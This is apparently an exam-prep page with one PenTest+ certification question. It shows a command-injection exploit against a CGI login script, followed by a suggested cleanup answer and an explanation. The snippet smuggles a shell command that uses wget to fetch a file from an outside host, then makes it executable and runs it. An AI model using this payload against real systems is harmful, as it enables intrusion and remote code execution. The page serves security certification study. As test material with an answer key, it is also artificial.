ExamGecko
Question list
Search
Search

List of questions

Search

Related questions











Question 40 - PT0-002 discussion

Report
Export

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:

exploit = "POST "

exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -

c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${I

FS}./apache'%0A%27&loginUser=a&Pwd=a"

exploit += "HTTP/1.1"

Which of the following commands should the penetration tester run post-engagement?

A.
grep -v apache ~/.bash_history > ~/.bash_history
Answers
A.
grep -v apache ~/.bash_history > ~/.bash_history
B.
rm -rf /tmp/apache
Answers
B.
rm -rf /tmp/apache
C.
chmod 600 /tmp/apache
Answers
C.
chmod 600 /tmp/apache
D.
taskkill /IM "apache" /F
Answers
D.
taskkill /IM "apache" /F
Suggested answer: B

Explanation:

The exploit code is a command injection attack that uses a vulnerable CGI script to execute arbitrary commands on the target system. The commands are:

cd /tmp: change the current directory to /tmp

wget http://10.10.0.1/apache: download a file named apache from http://10.10.0.1

chmod 777 apache: change the permissions of the file to allow read, write, and execute for everyone

./apache: run the file as an executable

The file apache is most likely a malicious payload that gives the attacker remote access to the system or performs some other malicious action. Therefore, the penetration tester should run the command rm -rf /tmp/apache post-engagement to remove the file and its traces from the system. The other commands are not effective or relevant for this purpose.

asked 02/10/2024
Jaimie Korik-Read
43 questions
User
Your answer:
0 comments
Sorted by

Leave a comment first